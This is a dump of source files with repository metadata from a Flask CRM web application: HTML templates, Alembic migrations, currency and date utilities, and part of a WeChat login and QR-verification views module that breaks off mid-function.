"alpha_fraction": 0.5426621437072754, "alphanum_fraction": 0.5494880676269531, "avg_line_length": 28.399999618530273, "blob_id": "fa30de769f5d76e11f8d54a47f669f21da33f470", "content_id": "c63e1a93865178d3c23dde09c25e4512d3b0db69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 293, "license_type": "no_license", "max_line_length": 47, "num_lines": 10, "path": "/application/templates/macros/mobile_form_field_error.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% macro render_form_field_error(form_field) %}\n\t{% if form_field.errors %}\n\t <div class=\"popover bottom\">\n\t\t\t\t<div class=\"arrow\"></div>\n\t \t{% for error in form_field.errors %}\t\t\t\t\n\t\t\t\t\t<h3 class=\"popover-title\">{{ error }}</h3>\n\t \t{% endfor %}\n\t </div>\n\t{% endif %}\n{% endmacro %}" }, { "alpha_fraction": 0.6558058857917786, "alphanum_fraction": 0.6734835505485535, "avg_line_length": 37.986488342285156, "blob_id": "44054fe6ba499d62e44a928ad5cf12a8f77aeb70", "content_id": "afa7088413553b4362cd6907531e041fd85d6ad4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2885, "license_type": "no_license", "max_line_length": 106, "num_lines": 74, "path": "/migrations/versions/9101b893be5c_create_content_models.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"create_content_models\n\nRevision ID: 9101b893be5c\nRevises: \nCreate Date: 2017-02-17 13:37:11.440351\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '9101b893be5c'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('content',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('description', sa.Text(), nullable=True),\n sa.Column('image_path', sa.String(length=200), nullable=True),\n sa.Column('reference_info', sa.JSON(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('content_category',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.create_table('content_classification',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('description', sa.Text(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('category_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['category_id'], ['content_category.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('content_classification_option',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('classification_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['classification_id'], ['content_classification.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('contents_and_options',\n sa.Column('content_id', sa.Integer(), nullable=True),\n sa.Column('content_classification_option_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['content_classification_option_id'], ['content_classification_option.id'], ),\n sa.ForeignKeyConstraint(['content_id'], ['content.id'], )\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('contents_and_options')\n op.drop_table('content_classification_option')\n op.drop_table('content_classification')\n op.drop_table('content_category')\n op.drop_table('content')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.48423153162002563, "alphanum_fraction": 0.5013971924781799, "avg_line_length": 26.83333396911621, "blob_id": "b6fc36d089220a854938be9ef9e1e2db57aeb47e", "content_id": "22b2b0b5859facb24dbea1972ec6902d2e9fe7f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2717, "license_type": "no_license", "max_line_length": 78, "num_lines": 90, "path": "/application/utils.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "import datetime\nimport calendar\n\n\ndef add_months(sourcedate, months):\n month = sourcedate.month - 1 + months\n year = int(sourcedate.year + month / 12 )\n month = month % 12 + 1\n day = min(sourcedate.day,calendar.monthrange(year,month)[1])\n return datetime.date(year,month,day)\n\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n pass\n except TypeError:\n pass\n\n try:\n import unicodedata\n unicodedata.numeric(s)\n return True\n except (TypeError, ValueError):\n pass\n\n return False\n\n\ndef num2moneyformat(change_number):\n \"\"\"\n .转换数字为大写货币格式( format_word.__len__() - 3 + 2位小数 )\n change_number 支持 float, int, long, string\n \"\"\"\n format_word = [\"分\", \"角\", \"元\",\n \"拾\", \"百\", \"千\", \"万\",\n \"拾\", \"百\", \"千\", \"亿\",\n \"拾\", \"百\", \"千\", \"万\",\n \"拾\", \"百\", \"千\", \"兆\"]\n\n format_num = [\"零\", \"壹\", \"贰\", \"叁\", \"肆\", \"伍\", \"陆\", \"柒\", \"捌\", \"玖\"]\n if type(change_number) == str:\n # - 如果是字符串,先尝试转换成float或int.\n if '.' in change_number:\n try:\n change_number = float(change_number)\n except:\n return None\n else:\n try:\n change_number = int(change_number)\n except:\n return None\n\n if type(change_number) == float:\n real_numbers = []\n for i in range(len(format_word) - 3, -3, -1):\n if change_number >= 10 ** i or i < 1:\n real_numbers.append(int(round(change_number/(10**i), 2) % 10))\n\n elif isinstance(change_number, int):\n real_numbers = [int(i) for i in str(change_number) + '00']\n\n else:\n return None\n\n zflag = 0 # 标记连续0次数,以删除万字,或适时插入零字\n start = len(real_numbers) - 3\n change_words = []\n for i in range(start, -3, -1): # 使i对应实际位数,负数为角分\n if 0 != real_numbers[start-i] or len(change_words) == 0:\n if zflag:\n change_words.append(format_num[0])\n zflag = 0\n change_words.append(format_num[real_numbers[start - i]])\n change_words.append(format_word[i+2])\n\n elif 0 == i or (0 == i % 4 and zflag < 3): # 控制 万/元\n change_words.append(format_word[i+2])\n zflag = 0\n else:\n zflag += 1\n\n if change_words[-1] not in (format_word[0], format_word[1]):\n # - 最后两位非\"角,分\"则补\"整\"\n change_words.append(\"整\")\n\n return ''.join(change_words)\n" }, { "alpha_fraction": 0.6354008913040161, "alphanum_fraction": 0.6686838269233704, "avg_line_length": 31.2439022064209, "blob_id": "ba58f55f39832df2920b74a6363f0b5183bd0e0c", "content_id": "0fd010ee1b219887f4fee028f780f5900eecc125", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1322, "license_type": "no_license", "max_line_length": 68, "num_lines": 41, "path": "/migrations/versions/483fbd912e83_create_web_access_log.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"create_web_access_log\n\nRevision ID: 483fbd912e83\nRevises: cfd51dd8aaa0\nCreate Date: 2017-03-20 13:40:01.592316\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '483fbd912e83'\ndown_revision = 'c5106cf0f74c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('web_access_log',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('request_path', sa.String(length=200), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('remote_addr', sa.String(length=15), nullable=True),\n sa.Column('user_agent', sa.String(length=200), nullable=True),\n sa.Column('platform', sa.String(length=20), nullable=True),\n sa.Column('browser', sa.String(length=20), nullable=True),\n sa.Column('version', sa.String(length=20), nullable=True),\n sa.Column('language', sa.String(length=20), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('web_access_log')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6488156318664551, "alphanum_fraction": 0.6817713975906372, "avg_line_length": 29.34375, "blob_id": "4cff842c91adca54329fc58cc7b17ede7de71199", "content_id": "37c7c6c88f68ff1f5c8272e65db613d71b3508ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 971, "license_type": "no_license", "max_line_length": 113, "num_lines": 32, "path": "/migrations/versions/c3b57fa131bc_modified_detail_link_to_contents.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"modified detail link to contents\n\nRevision ID: c3b57fa131bc\nRevises: 2372f1f8d894\nCreate Date: 2017-02-23 14:20:45.528242\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c3b57fa131bc'\ndown_revision = '2372f1f8d894'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('content', sa.Column('detail_link', sa.String(length=200), nullable=True))\n op.add_column('content', sa.Column('image_links', sa.JSON(), nullable=True))\n op.drop_column('content', 'image_path')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('content', sa.Column('image_path', sa.VARCHAR(length=200), autoincrement=False, nullable=True))\n op.drop_column('content', 'image_links')\n op.drop_column('content', 'detail_link')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5914127230644226, "alphanum_fraction": 0.5945290923118591, "avg_line_length": 45.59677505493164, "blob_id": "e539ba3d295ab3ca9edb3e76085685495c75f4ae", "content_id": "787024f05c798807077b35767a676aa77cdea3b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2972, "license_type": "no_license", "max_line_length": 252, "num_lines": 62, "path": "/application/templates/product/index.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'pc_base.html' %}\n{% from 'macros/pc_partial.html' import sidebar with context %}\n{% block main_content %}\n\n{{ sidebar(active = 'product') }}\n\n<div class=\"contents\">\n\t<div class=\"contents-header\">\n\t\t<div class=\"contents-header-img\"><img class=\"full-img\" src=\"/static/images/product.png\" /></div>\n\t\t<p class=\"contents-header-p\">{{ category.get('category_name') }}</p>\n\t\t<p class=\"contents-header-p text-sm\">products list</p>\n\t\t<a class=\"new-one\" href=\"{{ url_for('product.new', category_id = category.get('category_id')) }}\"><span class=\"glyphicon glyphicon-plus\"></span></a>\n\t</div>\n\t<div class=\"separator\"><span></span></div>\n\t<div class=\"widget\">\n\t\t<div class=\"widget_header\">\n\t\t\t<h4 class=\"widget_header_title\"><span class=\"glyphicon glyphicon-th-large\"></span>\n\t\t\t\t&nbsp;&nbsp;&nbsp;<a href=\"{{ url_for('product.category_index') }}\" class=\"text-muted\">产品目录列表</a> >\n\t\t\t\t<a>{{ category.get('category_name') }}</a>\n\t\t\t</h4>\n\t\t</div>\n\t\t<div class=\"widget_contents padding-0\">\n\t\t\t<table class=\"tables\">\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>产品名称</th>\n\t\t\t\t\t\t<th>产品编码</th>\n\t\t\t\t\t\t<th>卷长</th>\n\t\t\t\t\t\t<th>卷宽</th>\n\t\t\t\t\t\t<th>状态</th>\n\t\t\t\t\t\t<th>操作</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t{% for product in products|sort(attribute='name') %}\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a href=\"{{ url_for('product.show', id = product.get('product_id'), category_id = category.get('category_id')) }}\" class=\"table-link\">{{ product.get('name') }}</a></td>\n\t\t\t\t\t\t<td>{{ product.get('code') }}</td>\n\t\t\t\t\t\t<td>{{ product.get('length') }} m</td>\n\t\t\t\t\t\t<td>{{ product.get('width') }} m</td>\n\t\t\t\t\t\t{% if product.get('isvalid') == 'NO' %}\n\t\t\t\t\t\t\t<td class=\"state invalid\">{{ '下架' }}</td>\n\t\t\t\t\t\t{% else %}\n\t\t\t\t\t\t\t<td class=\"state valid\">{{ '上架' }}</td>\n\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<a class=\"table-del text-warning\" href=\"{{ url_for('product.sku_index', product_id = product.get('product_id')) }}\"><span class=\"glyphicon glyphicon-cog\"></span>&nbsp;&nbsp;管理SKU</a>\n\t\t\t\t\t\t\t<a class=\"table-del text-success\" href=\"{{ url_for('product.relate_cases', product_id = product.get('product_id')) }}\"><span class=\"glyphicon glyphicon-link\"></span>&nbsp;&nbsp;关联案例</a>\n\t\t\t\t\t\t\t<a class=\"table-edit text-info\" href=\"{{ url_for('product.edit', id = product.get('product_id'), category_id = category.get('category_id') ) }}\"><span class=\"glyphicon glyphicon-edit\"></span>&nbsp;&nbsp;编辑</a>\n\t\t\t\t\t\t\t<form action=\"{{ url_for('product.delete', id = product.get('product_id'), category_id = category.get('category_id')) }}\" method=\"post\" style=\"display: inline;\">\n\t\t\t\t\t\t\t\t<button type=\"submit\" data-confirm=\"确定删除产品[ {{ product.get('name') }} ]?\" data-confirmType=\"post\" class=\"btn-link table-del\" style=\"color: #843534; text-decoration: none; \"><span class=\"glyphicon glyphicon-remove\"></span>&nbsp;&nbsp;删除</button>\n\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t{% endfor %}\n\t\t\t\t</tbody>\n\t\t\t</table>\n\t\t</div>\n\t</div>\n</div>\n\n{% endblock %}" }, { "alpha_fraction": 0.5959420204162598, "alphanum_fraction": 0.5976811647415161, "avg_line_length": 34.95833206176758, "blob_id": "ab30a2912ef1e62bbf80788305ff6e04521ce33b", "content_id": "ed50a94dcad2463d7eb5a66d5c1b0cc748fe93dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1759, "license_type": "no_license", "max_line_length": 156, "num_lines": 48, "path": "/application/templates/product/feature/show.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'pc_base.html' %}\n{% from 'macros/pc_partial.html' import sidebar with context %}\n{% block main_content %}\n\n{{ sidebar(active = 'product') }}\n\n<div class=\"contents\">\n\t<div class=\"contents-header\">\n\t\t<div class=\"contents-header-img\"><img class=\"full-img\" src=\"/static/images/product.png\" /></div>\n\t\t<p class=\"contents-header-p\">{{ feature.get('feature_name') }}</p>\n\t\t<p class=\"contents-header-p text-sm\">product options</p>\n\t</div>\n\t<div class=\"separator\"><span></span></div>\n\t<div class=\"widget\">\n\t\t<div class=\"widget_header\">\n\t\t\t<h4 class=\"widget_header_title\"><span class=\"glyphicon glyphicon-th-large\"></span>\n\t\t\t\t&nbsp;&nbsp;&nbsp;<a href=\"{{ url_for('product.feature_index') }}\" class=\"text-muted\">产品属性列表</a> >\n\t\t\t\t<a class=\"text-primary\">{{ feature.get('feature_name') }}</a>\n\t\t\t</h4>\n\t\t\t<a class=\"new-item\" href=\"{{ url_for('product.option_new', feature_id = feature.get('feature_id')) }}\"><span class=\"glyphicon glyphicon-plus\"></span></a>\n\t\t</div>\n\t\t<div class=\"widget_contents padding-0\">\n\t\t\t<table class=\"tables\">\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>属性值名称</th>\n\t\t\t\t\t\t<th>操作</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t{% for option in feature.get('options') %}\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a class=\"table-link\">{{ option.get('option_name') }}</a></td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<a class=\"table-edit text-info\" href=\"{{ url_for('product.option_edit', id = option.get('option_id'), feature_id = feature.get('feature_id')) }}\">\n\t\t\t\t\t\t\t\t<span class=\"glyphicon glyphicon-edit\"></span>&nbsp;&nbsp;编辑\n\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t<a class=\"table-del text-danger\"><span class=\"glyphicon glyphicon-remove\"></span>&nbsp;&nbsp;删除</a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\t\t\t\t\n\t\t\t\t{% endfor %}\n\t\t\t\t</tbody>\n\t\t\t</table>\n\t\t</div>\n\t</div>\n</div>\n\n{% endblock %}" }, { "alpha_fraction": 0.6638298034667969, "alphanum_fraction": 0.6893616914749146, "avg_line_length": 33.55882263183594, "blob_id": "f525365e0f1c1f5c12312369a98f6857ef4eb398", "content_id": "be4ce103e11386ccf4180a3b8f9d282fc7d4d1c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1175, "license_type": "no_license", "max_line_length": 104, "num_lines": 34, "path": "/migrations/versions/0c39d2c5df1c_add_stock_num_to_material.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_stock_num_to_material\n\nRevision ID: 0c39d2c5df1c\nRevises: cc49d9ce0732\nCreate Date: 2017-04-30 14:09:43.094805\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '0c39d2c5df1c'\ndown_revision = 'cc49d9ce0732'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('material', sa.Column('stock_num', sa.Integer(), nullable=True))\n op.add_column('material_application', sa.Column('app_memo', sa.String(length=500), nullable=True))\n op.add_column('material_application_content', sa.Column('material_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'material_application_content', 'material', ['material_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'material_application_content', type_='foreignkey')\n op.drop_column('material_application_content', 'material_id')\n op.drop_column('material_application', 'app_memo')\n op.drop_column('material', 'stock_num')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5737265348434448, "alphanum_fraction": 0.707774817943573, "avg_line_length": 14.541666984558105, "blob_id": "c6d095f47ae8057508f2d202f32fbb56238a20f7", "content_id": "be89086b829cde2012f1cc97379e8e97f87b65bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 373, "license_type": "no_license", "max_line_length": 41, "num_lines": 24, "path": "/migrations/versions/cdc933dc3c56_merge_migration_conflict.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"merge migration conflict\n\nRevision ID: cdc933dc3c56\nRevises: f96e60b9c39c, 636191448952\nCreate Date: 2017-03-29 14:13:45.698385\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cdc933dc3c56'\ndown_revision = ('f96e60b9c39c', '636191448952')\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n pass\n\n\ndef downgrade():\n pass\n" }, { "alpha_fraction": 0.6517809629440308, "alphanum_fraction": 0.6703881025314331, "avg_line_length": 37.38775634765625, "blob_id": "8f33d87f35371d31a04d3caa17e9c04d20aeec6f", "content_id": "b3fbd9c742dd5bc65ba115d9afbf41a375721abd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1881, "license_type": "no_license", "max_line_length": 101, "num_lines": 49, "path": "/migrations/versions/7f5a5ea86cf3_delete_dealer.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"delete dealer\n\nRevision ID: 7f5a5ea86cf3\nRevises: a2c6970d8137\nCreate Date: 2017-02-22 21:54:46.908764\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '7f5a5ea86cf3'\ndown_revision = 'a2c6970d8137'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('orders_dealer_id_fkey', 'orders', type_='foreignkey')\n op.drop_table('dealers')\n op.drop_table('districts')\n op.add_column('orders', sa.Column('user_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'orders', 'users', ['user_id'], ['id'])\n op.drop_column('orders', 'dealer_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('orders', sa.Column('dealer_id', sa.INTEGER(), autoincrement=False, nullable=True))\n op.drop_constraint(None, 'orders', type_='foreignkey')\n op.create_foreign_key('orders_dealer_id_fkey', 'orders', 'dealers', ['dealer_id'], ['id'])\n op.drop_column('orders', 'user_id')\n op.create_table('dealers',\n sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('name', sa.VARCHAR(length=200), autoincrement=False, nullable=True),\n sa.Column('district_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.ForeignKeyConstraint(['district_id'], ['districts.id'], name='dealers_district_id_fkey'),\n sa.PrimaryKeyConstraint('id', name='dealers_pkey')\n )\n op.create_table('districts',\n sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('name', sa.VARCHAR(length=200), autoincrement=False, nullable=True),\n sa.Column('person_in_charge', sa.VARCHAR(length=200), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('id', name='districts_pkey')\n )\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6270191073417664, "alphanum_fraction": 0.6740087866783142, "avg_line_length": 23.321428298950195, "blob_id": "af92032f224228c67f130bd7cb013ec8f132c446", "content_id": "889147d5d8a70342fbb0fcbb809fa6891d160a8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 681, "license_type": "no_license", "max_line_length": 97, "num_lines": 28, "path": "/migrations/versions/96560e166b50_add_report_no_to_project_report.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add report_no to project report\n\nRevision ID: 96560e166b50\nRevises: c0778ba000bb\nCreate Date: 2017-03-06 09:31:37.521990\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '96560e166b50'\ndown_revision = 'c0778ba000bb'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('project_reports', sa.Column('report_no', sa.String(length=50), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('project_reports', 'report_no')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.639652669429779, "alphanum_fraction": 0.6714906096458435, "avg_line_length": 23.678571701049805, "blob_id": "90c1ac866ed11952e2c70506595fcac8457c6cfd", "content_id": "11ac595b57b8f3c7aa57dc99a6cf3f852af9916b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 691, "license_type": "no_license", "max_line_length": 103, "num_lines": 28, "path": "/migrations/versions/a4ef5d3cfd2a_add_token_type_to_wechat_access_token.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_token_type_to_wechat_access_token\n\nRevision ID: a4ef5d3cfd2a\nRevises: 59eeab2bbaaf\nCreate Date: 2017-03-03 13:26:06.810849\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a4ef5d3cfd2a'\ndown_revision = '59eeab2bbaaf'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('wechat_access_token', sa.Column('token_type', sa.String(length=50), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('wechat_access_token', 'token_type')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5850346088409424, "alphanum_fraction": 0.5867844223976135, "avg_line_length": 44.80534362792969, "blob_id": "e2a6f9098fee8b8141e45430cd54f9d528f4143b", "content_id": "adfb022867836205181fa5222e1cde57834c6006", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12571, "license_type": "no_license", "max_line_length": 118, "num_lines": 262, "path": "/application/wechat/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from flask import Blueprint, flash, render_template, request, session, redirect, url_for\nfrom .models import WechatAccessToken, app, WECHAT_SERVER_AUTHENTICATION_TOKEN, WechatCall, WechatUserInfo, \\\n WechatPushMsg\nfrom ..backstage_management.forms import WechatUserLoginForm\nfrom ..models import User, TrackingInfo, Contract, SalesAreaHierarchy, UserAndSaleArea, UserInfo\nfrom flask_login import login_user, current_user, logout_user\nimport hashlib\n\nimport xml.dom.minidom\nimport datetime\n\nwechat = Blueprint('wechat', __name__, template_folder='templates')\n\n\[email protected]('/mobile/verification', methods=['GET', 'POST'])\ndef mobile_verification():\n if request.method == 'POST':\n try:\n valid_info = {\"color\": \"red\", \"info\": \"\"}\n qrcode_token = request.form.get(\"text-verification\", None)\n if qrcode_token is None or qrcode_token == \"\":\n raise ValueError(\"请传入扫描结果\")\n\n app.logger.info(\"wechat.mobile_verification: [%s]\", qrcode_token)\n ti = TrackingInfo.query.filter_by(qrcode_token=qrcode_token).first()\n if ti is None:\n raise ValueError(\"无此二维码记录\")\n\n contract = Contract.query.filter_by(contract_no=ti.contract_no).first()\n if contract is None or contract.order_id is None:\n raise ValueError(\"二维码记录异常\")\n\n if ti.qrcode_scan_date is not None:\n dealer_sale_id = User.query.filter_by(id=contract.user_id).first().sales_areas.first().id\n sah_city_id = SalesAreaHierarchy.query.filter_by(id=dealer_sale_id).first().parent_id\n user_sale_id = UserAndSaleArea.query.filter_by(sales_area_id=sah_city_id).first().user_id\n user_sale = UserInfo.query.filter_by(id=user_sale_id).first()\n\n valid_info[\"color\"] = \"blue\"\n raise ValueError(\"此条码已在 %s, %s 被验证,请联系销售 %s,电话 %s 确认真伪\" % (\n ti.qrcode_scan_date.strftime(\"%Y年%m月%d日\"), ti.qrcode_scan_date.strftime(\"%H点%M分\"), user_sale.name,\n user_sale.telephone))\n\n ti.qrcode_scan_date = datetime.datetime.now()\n ti.save\n\n flash('校验成功', 'success')\n return redirect(url_for('mobile_verification_show', order_id=contract.order_id))\n except Exception as e:\n valid_info[\"info\"] = str(e)\n session[\"valid_info\"] = valid_info\n return redirect(url_for('wechat.mobile_verification'))\n else:\n wechat_info = None\n try:\n wechat_info = WechatAccessToken.get_js_api_sign(request.url)\n except Exception as e:\n flash('摄像头授权获取失败,请刷新重试 %s' % e)\n\n return render_template('wechat/mobile_verification.html', wechat_info=wechat_info)\n\n\[email protected]('/mobile/user_binding', methods=['GET', 'POST'])\ndef mobile_user_binding():\n if request.method == 'POST':\n try:\n if current_user.is_authenticated:\n logout_user()\n\n form = WechatUserLoginForm(request.form, meta={'csrf_context': session})\n if not form.validate():\n app.logger.info(\"form valid fail: [%s]\" % form.errors)\n raise ValueError(\"\")\n\n # 微信只能经销商登入 - 取消此限制\n user = User.login_verification(form.email.data, form.password.data, None)\n if user is None:\n raise ValueError(\"用户名或密码错误\")\n\n login_valid_errmsg = user.check_can_login()\n if not login_valid_errmsg == \"\":\n raise ValueError(login_valid_errmsg)\n\n wui = WechatUserInfo.query.filter_by(open_id=form.openid.data, user_id=user.id).first()\n if wui is None:\n wui = WechatUserInfo(open_id=form.openid.data, user_id=user.id, is_active=True)\n else:\n wui.is_active = True\n wui.active_time = datetime.datetime.now()\n\n wui.save()\n app.logger.info(\"insert into WechatUserInfo [%s]-[%s]\" % (form.openid.data, user.id))\n\n login_user(user)\n app.logger.info(\"mobile login success [%s]\" % user.nickname)\n return redirect(url_for('mobile_index'))\n except Exception as e:\n flash(\"绑定失败,%s\" % e)\n return render_template('wechat/mobile_user_binding.html', form=form)\n else:\n app.logger.info(\"mobile_user_binding [%s][%s]\" % (request.args, request.args.get(\"code\")))\n openid = \"\"\n if request.args.get(\"code\") is None:\n flash(\"请关闭页面后,通过微信-绑定用户进入此页面\")\n else:\n try:\n openid = WechatCall.get_open_id_by_code(request.args.get(\"code\"))\n app.logger.info(\"get openid[%s] by code[%s]\" % (openid, request.args.get(\"code\")))\n wui = WechatUserInfo.query.filter_by(open_id=openid, is_active=True).first()\n if wui is not None:\n exists_binding_user = User.query.filter_by(id=wui.user_id).first()\n if exists_binding_user is not None: # normal\n if current_user.is_authenticated: # has login\n if current_user != exists_binding_user: # not same user\n logout_user()\n login_user(exists_binding_user)\n app.logger.info(\"mobile login success [%s]\" % exists_binding_user.nickname)\n else:\n app.logger.info(\"mobile has login [%s]\" % exists_binding_user.nickname)\n else:\n login_user(exists_binding_user)\n app.logger.info(\"mobile login success [%s]\" % exists_binding_user.nickname)\n\n return redirect(url_for('mobile_index'))\n except Exception as e:\n flash(\"%s,请重新通过微信-绑定用户进入此页面\" % e)\n\n form = WechatUserLoginForm(openid=openid, meta={'csrf_context': session})\n return render_template('wechat/mobile_user_binding.html', form=form)\n\n\[email protected](\"/server/authentication\", methods=['GET', 'POST'])\ndef server_authentication():\n signature = request.args.get(\"signature\")\n timestamp = request.args.get(\"timestamp\")\n nonce = request.args.get(\"nonce\")\n\n if signature is None or timestamp is None or nonce is 